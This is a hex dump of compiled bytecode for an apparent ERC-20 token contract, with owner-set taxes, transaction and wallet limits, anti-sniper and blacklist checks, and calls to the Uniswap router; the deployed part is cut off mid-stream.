ffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9257fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60405161348a91906142a5565b60405180910390a35b50565b6000816134c15760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71984308760008087426040518863ffffffff1660e01b81526004016135289695949392919061530d565b60606040518083038185885af1158015613546573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061356b9190615383565b50505050505050565b600a436135819190614e0b565b600f819055506009600a61359591906149a7565b6103e86009600a6135a691906149a7565b6305f5e1006135b591906149f2565b60056135c191906149f2565b6135cb9190614dda565b6135d59190614e0b565b6009819055506009600a6135e991906149a7565b6103e86009600a6135fa91906149a7565b6305f5e10061360991906149f2565b600561361591906149f2565b61361f9190614dda565b6136299190614e0b565b600a81905550600e60029054906101000a900460ff16600e60036101000a81548160ff021916908360ff160217905550600e60029054906101000a900460ff16600e60046101000a81548160ff021916908360ff1602179055506000600e60056101000a81548160ff021916908360ff1602179055506001600860006101000a81548160ff021916908315150217905550565b6136c5816132ac565b6000600267ffffffffffffffff8111156136e2576136e16153d6565b5b6040519080825280602002602001820160405280156137105781602001602082028036833780820191505090505b509050308160008151811061372857613727615405565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156137cf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906137f39190614ce9565b8160018151811061380757613806615405565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016138a59594939291906154f2565b600060405180830381600087803b1580156138bf57600080fd5b505af11580156138d3573d6000803e3d6000fd5b505050505050565b6001601760146101000a81548160ff021916908315150217905550600061390130611950565b9050600b5481101580156139215750600860009054906101000a900460ff165b15613b1c57600c54811061393557600c5490505b60006002600e60129054906101000a900461ffff1661ffff16600e600a9054906101000a900461ffff1661ffff168461396e91906149f2565b6139789190614dda565b6139829190614dda565b90506000600e60129054906101000a900461ffff1661ffff16600e60069054906101000a900461ffff1661ffff16846139bb91906149f2565b6139c59190614dda565b90506139f3601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682613e84565b6000600e60129054906101000a900461ffff1661ffff16600e60089054906101000a900461ffff1661ffff1685613a2a91906149f2565b613a349190614dda565b9050613a41600082613e84565b600081838587613a519190614af0565b613a5b9190614af0565b613a659190614af0565b90506000479050613a75826136bc565b60008147613a839190614af0565b90506000600e600a9054906101000a900461ffff1661ffff161115613afc576000600e60129054906101000a900461ffff1661ffff16600e600a9054906101000a900461ffff1661ffff1683613ad991906149f2565b613ae39190614dda565b9050613aee876132ac565b613afa87826000613496565b505b60004790506000811115613b1457613b138161283c565b5b505050505050505b506000601760146101000a81548160ff021916908315150217905550565b60008060019050600860009054906101000a900460ff168015613ba75750600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15613c7057600954831115613bbf5760009050613c6f565b600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015613c645750600a5483600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613c629190614e0b565b115b15613c6e57600090505b5b5b8091505092915050565b600080600860009054906101000a900460ff161580613ce25750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80613d365750600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15613d445760009050613e79565b600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613dc7576064600e60039054906101000a900460ff1660ff1684613db691906149f2565b613dc09190614dda565b9050613e78565b600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613e4a576064600e60049054906101000a900460ff1660ff1684613e3991906149f2565b613e439190614dda565b9050613e77565b6064600e60059054906101000a900460ff1660ff1684613e6a91906149f2565b613e749190614dda565b90505b5b5b809150509392505050565b600081111561400f5780600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ed89190614af0565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613f669190614e0b565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161400691906142a5565b60405180910390a35b5050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561404d578082015181840152602081019050614032565b8381111561405c576000848401525b50505050565b6000601f19601f8301169050919050565b600061407e82614013565b614088818561401e565b935061409881856020860161402f565b6140a181614062565b840191505092915050565b600060208201905081810360008301526140c68184614073565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006140fe826140d3565b9050919050565b61410e816140f3565b811461411957600080fd5b50565b60008135905061412b81614105565b92915050565b6000819050919050565b61414481614131565b811461414f57600080fd5b50565b6000813590506141618161413b565b92915050565b6000806040838503121561417e5761417d6140ce565b5b600061418c8582860161411c565b925050602061419d85828601614152565b9150509250929050565b60008115159050919050565b6141bc816141a7565b82525050565b60006020820190506141d760008301846141b3565b92915050565b600060ff82169050919050565b6141f3816141dd565b81146141fe57600080fd5b50565b600081359050614210816141ea565b92915050565b60008060006060848603121561422f5761422e6140ce565b5b600061423d86828701614201565b935050602061424e86828701614201565b925050604061425f86828701614201565b9150509250925092565b60006020828403121561427f5761427e6140ce565b5b600061428d8482850161411c565b91505092915050565b61429f81614131565b82525050565b60006020820190506142ba6000830184614296565b92915050565b600061ffff82169050919050565b6142d7816142c0565b81146142e257600080fd5b50565b6000813590506142f4816142ce565b92915050565b60008060008060008060c08789031215614317576143166140ce565b5b600061432589828a016142e5565b965050602061433689828a016142e5565b955050604061434789828a016142e5565b945050606061435889828a016142e5565b935050608061436989828a016142e5565b92505060a061437a89828a016142e5565b9150509295509295509295565b6000806000606084860312156143a05761439f6140ce565b5b60006143ae8682870161411c565b93505060206143bf8682870161411c565b92505060406143d086828701614152565b9150509250925092565b6143e3816141dd565b82525050565b60006020820190506143fe60008301846143da565b92915050565b6000806000806080858703121561441e5761441d6140ce565b5b600061442c8782880161411c565b945050602061443d8782880161411c565b935050604061444e8782880161411c565b925050606061445f8782880161411c565b91505092959194509250565b600060208284031215614481576144806140ce565b5b600061448f84828501614152565b91505092915050565b6144a1816141a7565b81146144ac57600080fd5b50565b6000813590506144be81614498565b92915050565b600080604083850312156144db576144da6140ce565b5b60006144e98582860161411c565b92505060206144fa858286016144af565b9150509250929050565b61450d816140f3565b82525050565b60006020820190506145286000830184614504565b92915050565b60008060408385031215614545576145446140ce565b5b6000614553858286016142e5565b9250506020614564858286016142e5565b9150509250929050565b60008060408385031215614585576145846140ce565b5b60006145938582860161411c565b92505060206145a48582860161411c565b9150509250929050565b600063ffffffff82169050919050565b6145c7816145ae565b81146145d257600080fd5b50565b6000813590506145e4816145be565b92915050565b60008060008060808587031215614604576146036140ce565b5b6000614612878288016145d5565b9450506020614623878288016145d5565b9350506040614634878288016145d5565b9250506060614645878288016145d5565b91505092959194509250565b61465a816142c0565b82525050565b60006020820190506146756000830184614651565b92915050565b6000614686826140d3565b9050919050565b6146968161467b565b81146146a157600080fd5b50565b6000813590506146b38161468d565b92915050565b6000602082840312156146cf576146ce6140ce565b5b60006146dd848285016146a4565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061472d57607f821691505b60208210811415614741576147406146e6565b5b50919050565b7f4f6e6c7920636f6e7472616374206f776e65722063616e2063616c6c2074686960008201527f732066756e6374696f6e00000000000000000000000000000000000000000000602082015250565b60006147a3602a8361401e565b91506147ae82614747565b604082019050919050565b600060208201905081810360008301526147d281614796565b9050919050565b7f54617820746f6f20686967680000000000000000000000000000000000000000600082015250565b600061480f600c8361401e565b915061481a826147d9565b602082019050919050565b6000602082019050818103600083015261483e81614802565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156148cb578086048111156148a7576148a6614845565b5b60018516156148b65780820291505b80810290506148c485614874565b945061488b565b94509492505050565b6000826148e457600190506149a0565b816148f257600090506149a0565b8160018114614908576002811461491257614941565b60019150506149a0565b60ff84111561492457614923614845565b5b8360020a91508482111561493b5761493a614845565b5b506149a0565b5060208310610133831016604e8410600b84101617156149765782820a90508381111561497157614970614845565b5b6149a0565b6149838484846001614881565b9250905081840481111561499a57614999614845565b5b81810290505b9392505050565b60006149b282614131565b91506149bd836141dd565b92506149ea7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846148d4565b905092915050565b60006149fd82614131565b9150614a0883614131565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615614a4157614a40614845565b5b828202905092915050565b6000614a57826142c0565b9150614a62836142c0565b92508261ffff03821115614a7957614a78614845565b5b828201905092915050565b7f54726164696e67206e6f74206f70656e00000000000000000000000000000000600082015250565b6000614aba60108361401e565b9150614ac582614a84565b602082019050919050565b60006020820190508181036000830152614ae981614aad565b9050919050565b6000614afb82614131565b9150614b0683614131565b925082821015614b1957614b18614845565b5b828203905092915050565b7f74726164696e6720616c7265616479206f70656e000000000000000000000000600082015250565b6000614b5a60148361401e565b9150614b6582614b24565b602082019050919050565b60006020820190508181036000830152614b8981614b4d565b9050919050565b7f6574682063616e6e6f7420626520300000000000000000000000000000000000600082015250565b6000614bc6600f8361401e565b9150614bd182614b90565b602082019050919050565b60006020820190508181036000830152614bf581614bb9565b9050919050565b7f6e6f7420656e6f75676820657468000000000000000000000000000000000000600082015250565b6000614c32600e8361401e565b9150614c3d82614bfc565b602082019050919050565b60006020820190508181036000830152614c6181614c25565b9050919050565b7f6e6f20746f6b656e730000000000000000000000000000000000000000000000600082015250565b6000614c9e60098361401e565b9150614ca982614c68565b602082019050919050565b60006020820190508181036000830152614ccd81614c91565b9050919050565b600081519050614ce381614105565b92915050565b600060208284031215614cff57614cfe6140ce565b5b6000614d0d84828501614cd4565b91505092915050565b6000604082019050614d2b6000830185614504565b614d386020830184614504565b9392505050565b7f5a65726f2077616c6c6574206d75737420626520756e6c696d69746564000000600082015250565b6000614d75601d8361401e565b9150614d8082614d3f565b602082019050919050565b60006020820190508181036000830152614da481614d68565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000614de582614131565b9150614df083614131565b925082614e0057614dff614dab565b5b828204905092915050565b6000614e1682614131565b9150614e2183614131565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115614e5657614e55614845565b5b828201905092915050565b7f7478206c696d697420746f6f206c6f7700000000000000000000000000000000600082015250565b6000614e9760108361401e565b9150614ea282614e61565b602082019050919050565b60006020820190508181036000830152614ec681614e8a565b9050919050565b7f77616c6c6574206c696d697420746f6f206c6f77000000000000000000000000600082015250565b6000614f0360148361401e565b9150614f0e82614ecd565b602082019050919050565b60006020820190508181036000830152614f3281614ef6565b9050919050565b7f6e6f74206120736e697065720000000000000000000000000000000000000000600082015250565b6000614f6f600c8361401e565b9150614f7a82614f39565b602082019050919050565b60006020820190508181036000830152614f9e81614f62565b9050919050565b7f4e6f20746f6b656e730000000000000000000000000000000000000000000000600082015250565b6000614fdb60098361401e565b9150614fe682614fa5565b602082019050919050565b6000602082019050818103600083015261500a81614fce565b9050919050565b600061501c826141dd565b9150615027836141dd565b92508160ff048311821515161561504157615040614845565b5b828202905092915050565b6000819050919050565b600061507161506c615067846140d3565b61504c565b6140d3565b9050919050565b600061508382615056565b9050919050565b600061509582615078565b9050919050565b6150a58161508a565b82525050565b60006020820190506150c0600083018461509c565b92915050565b60006150d1826142c0565b915061ffff8214156150e6576150e5614845565b5b600182019050919050565b7f4e6f207472616e73666572732066726f6d205a65726f2077616c6c6574000000600082015250565b6000615127601d8361401e565b9150615132826150f1565b602082019050919050565b600060208201905081810360008301526151568161511a565b9050919050565b6000615168826140d3565b9150615173836140d3565b92508261518357615182614dab565b5b828206905092915050565b7f476173207072696365206f766572206c696d6974000000000000000000000000600082015250565b60006151c460148361401e565b91506151cf8261518e565b602082019050919050565b600060208201905081810360008301526151f3816151b7565b9050919050565b7f626c61636b6c6973746564000000000000000000000000000000000000000000600082015250565b6000615230600b8361401e565b915061523b826151fa565b602082019050919050565b6000602082019050818103600083015261525f81615223565b9050919050565b7f54582065786365656473206c696d697473000000000000000000000000000000600082015250565b600061529c60118361401e565b91506152a782615266565b602082019050919050565b600060208201905081810360008301526152cb8161528f565b9050919050565b6000819050919050565b60006152f76152f26152ed846152d2565b61504c565b614131565b9050919050565b615307816152dc565b82525050565b600060c0820190506153226000830189614504565b61532f6020830188614296565b61533c60408301876152fe565b61534960608301866152fe565b6153566080830185614504565b61536360a0830184614296565b979650505050505050565b60008151905061537d8161413b565b92915050565b60008060006060848603121561539c5761539b6140ce565b5b60006153aa8682870161536e565b93505060206153bb8682870161536e565b92505060406153cc8682870161536e565b9150509250925092565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b615469816140f3565b82525050565b600061547b8383615460565b60208301905092915050565b6000602082019050919050565b600061549f82615434565b6154a9818561543f565b93506154b483615450565b8060005b838110156154e55781516154cc888261546f565b97506154d783615487565b9250506001810190506154b8565b5085935050505092915050565b600060a0820190506155076000830188614296565b61551460208301876152fe565b81810360408301526155268186615494565b90506155356060830185614504565b6155426080830184614296565b969550505050505056fea264697066735822122004c067955646002b6ad58c6b69f132ff043ff40da816614d1edcd4e64589fb1164736f6c634300080b0033

Deployed Bytecode

0x6080604052600436106101d15760003560e01c8063893d20e8116100f7578063d9f0b37011610095578063e79d416011610064578063e79d41601461066b578063ed7b6bb514610696578063f2fde38b146106ad578063ffb54a99146106d6576101d8565b8063d9f0b370146105c5578063dca2a8b6146105ee578063dd62ed3e14610605578063e4dbc45b14610642576101d8565b80639c5fd048116100d15780639c5fd0481461050b578063a9059cbb14610534578063aa4bde2814610571578063b14218031461059c576101d8565b8063893d20e81461048a5780638c0b5e22146104b557806395d89b41146104e0576101d8565b806322cb8fc61161016f5780636969c1a41161013e5780636969c1a4146103be57806370a08231146103e757806371ebe1c314610424578063863abf6d1461044d576101d8565b806322cb8fc61461030457806323b872dd1461032d578063313ce5671461036a578063677ef84614610395576101d8565b80630f3a325f116101ab5780630f3a325f1461026e57806318160ddd146102ab5780631c939ee9146102d65780631cbbe3e4146102ed576101d8565b806306fdde03146101dd578063095ea7b31461020857806309ef509f14610245576101d8565b366101d857005b600080fd5b3480156101e957600080fd5b506101f2610701565b6040516101ff91906140ac565b60405180910390f35b34801561021457600080fd5b5061022f600480360381019061022a9190614167565b610793565b60405161023c91906141c2565b60405180910390f35b34801561025157600080fd5b5061026c60048036038101906102679190614216565b6108f0565b005b34801561027a57600080fd5b5061029560048036038101906102909190614269565b610a6e565b6040516102a291906141c2565b60405180910390f35b3480156102b757600080fd5b506102c0610ac9565b6040516102cd91906142a5565b60405180910390f35b3480156102e257600080fd5b506102eb610aed565b005b3480156102f957600080fd5b50610302610b86565b005b34801561031057600080fd5b5061032b600480360381019061032691906142fa565b610c20565b005b34801561033957600080fd5b50610354600480360381019061034f9190614387565b610db7565b60405161036191906141c2565b60405180910390f35b34801561037657600080fd5b5061037f610fc0565b60405161038c91906143e9565b60405180910390f35b3480156103a157600080fd5b506103bc60048036038101906103b79190614404565b610fc9565b005b3480156103ca57600080fd5b506103e560048036038101906103e0919061446b565b61135d565b005b3480156103f357600080fd5b5061040e60048036038101906104099190614269565b611950565b60405161041b91906142a5565b60405180910390f35b34801561043057600080fd5b5061044b600480360381019061044691906144c4565b611999565b005b34801561045957600080fd5b50610474600480360381019061046f9190614269565b611af8565b60405161048191906142a5565b60405180910390f35b34801561049657600080fd5b5061049f611b41565b6040516104ac9190614513565b60405180910390f35b3480156104c157600080fd5b506104ca611b6a565b6040516104d791906142a5565b60405180910390f35b3480156104ec57600080fd5b506104f5611b70565b60405161050291906140ac565b60405180910390f35b34801561051757600080fd5b50610532600480360381019061052d91906144c4565b611c02565b005b34801561054057600080fd5b5061055b60048036038101906105569190614167565b611ceb565b60405161056891906141c2565b60405180910390f35b34801561057d57600080fd5b50610586611d47565b60405161059391906142a5565b60405180910390f35b3480156105a857600080fd5b506105c360048036038101906105be919061452e565b611d4d565b005b3480156105d157600080fd5b506105ec60048036038101906105e79190614269565b611f0b565b005b3480156105fa57600080fd5b5061060361227a565b005b34801561061157600080fd5b5061062c6004803603810190610627919061456e565b612364565b60405161063991906142a5565b60405180910390f35b34801561064e57600080fd5b50610669600480360381019061066491906145ea565b6123eb565b005b34801561067757600080fd5b50610680612509565b60405161068d9190614660565b60405180910390f35b3480156106a257600080fd5b506106ab61251d565b005b3480156106b957600080fd5b506106d460048036038101906106cf91906146b9565b6125ff565b005b3480156106e257600080fd5b506106eb612707565b6040516106f891906141c2565b60405180910390f35b60606001805461071090614715565b80601f016020809104026020016040519081016040528092919081815260200182805461073c90614715565b80156107895780601f1061075e57610100808354040283529160200191610789565b820191906000526020600020905b81548152906001019060200180831161076c57829003601f168201915b5050505050905090565b600043600f541180156107f05750601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15610800576107ff334361271a565b5b81600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516108de91906142a5565b60405180910390a36001905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461097e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610975906147b9565b60405180910390fd5b600e60029054906101000a900460ff1660ff168360ff16111580156109b85750600e60029054906101000a900460ff1660ff168260ff1611155b80156109d95750600e60029054906101000a900460ff1660ff168160ff1611155b610a18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0f90614825565b60405180910390fd5b82600e60036101000a81548160ff021916908360ff16021790555081600e60046101000a81548160ff021916908360ff16021790555080600e60056101000a81548160ff021916908360ff160217905550505050565b600080601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610abf5760019050610ac4565b600090505b919050565b60006009600a610ad991906149a7565b6305f5e100610ae891906149f2565b905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b72906147b9565b60405180910390fd5b610b844761283c565b565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0b906147b9565b60405180910390fd5b610c1e6000612aa4565b565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610cae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca5906147b9565b60405180910390fd5b85600e60066101000a81548161ffff021916908361ffff16021790555084600e60086101000a81548161ffff021916908361ffff16021790555083600e600a6101000a81548161ffff021916908361ffff16021790555082600e600c6101000a81548161ffff021916908361ffff16021790555081600e806101000a81548161ffff021916908361ffff16021790555080600e60106101000a81548161ffff021916908361ffff16021790555080828486888a610d6b9190614a4c565b610d759190614a4c565b610d7f9190614a4c565b610d899190614a4c565b610d939190614a4c565b600e60126101000a81548161ffff021916908361ffff160217905550505050505050565b6000610dc1612ad4565b610e00576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610df790614ad0565b60405180910390fd5b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610fac5781600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f2b9190614af0565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610fb7848484612b5a565b90509392505050565b60006009905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611057576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104e906147b9565b60405180910390fd5b83601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555082601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160066000601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160076000601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113e2906147b9565b60405180910390fd5b600860009054906101000a900460ff161561143b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143290614b70565b60405180910390fd5b6000811161147e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147590614bdc565b60405180910390fd5b6001601060003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160106000601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160106000601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060004790508181101561168b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168290614c48565b60405180910390fd5b600061169630611950565b9050600081116116db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116d290614cb4565b60405180910390fd5b6000601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561174a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061176e9190614ce9565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156117f7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061181b9190614ce9565b6040518363ffffffff1660e01b8152600401611838929190614d16565b6020604051808303816000875af1158015611857573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061187b9190614ce9565b90506001600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611936826132ac565b61194282856000613496565b61194a613574565b50505050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611a27576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a1e906147b9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a9d5780611a9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9390614d8b565b60405180910390fd5b5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60095481565b606060028054611b7f90614715565b80601f0160208091040260200160405190810160405280929190818152602001828054611bab90614715565b8015611bf85780601f10611bcd57610100808354040283529160200191611bf8565b820191906000526020600020905b815481529060010190602001808311611bdb57829003601f168201915b5050505050905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611c90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c87906147b9565b60405180910390fd5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000611cf5612ad4565b611d34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d2b90614ad0565b60405180910390fd5b611d3f338484612b5a565b905092915050565b600a5481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611ddb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd2906147b9565b60405180910390fd5b600060016103e88461ffff166009600a611df591906149a7565b6305f5e100611e0491906149f2565b611e0e91906149f2565b611e189190614dda565b611e229190614e0b565b9050600954811015611e69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e6090614ead565b60405180910390fd5b80600981905550600060016103e88461ffff166009600a611e8a91906149a7565b6305f5e100611e9991906149f2565b611ea391906149f2565b611ead9190614dda565b611eb79190614e0b565b9050600a54811015611efe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ef590614f19565b60405180910390fd5b80600a8190555050505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffff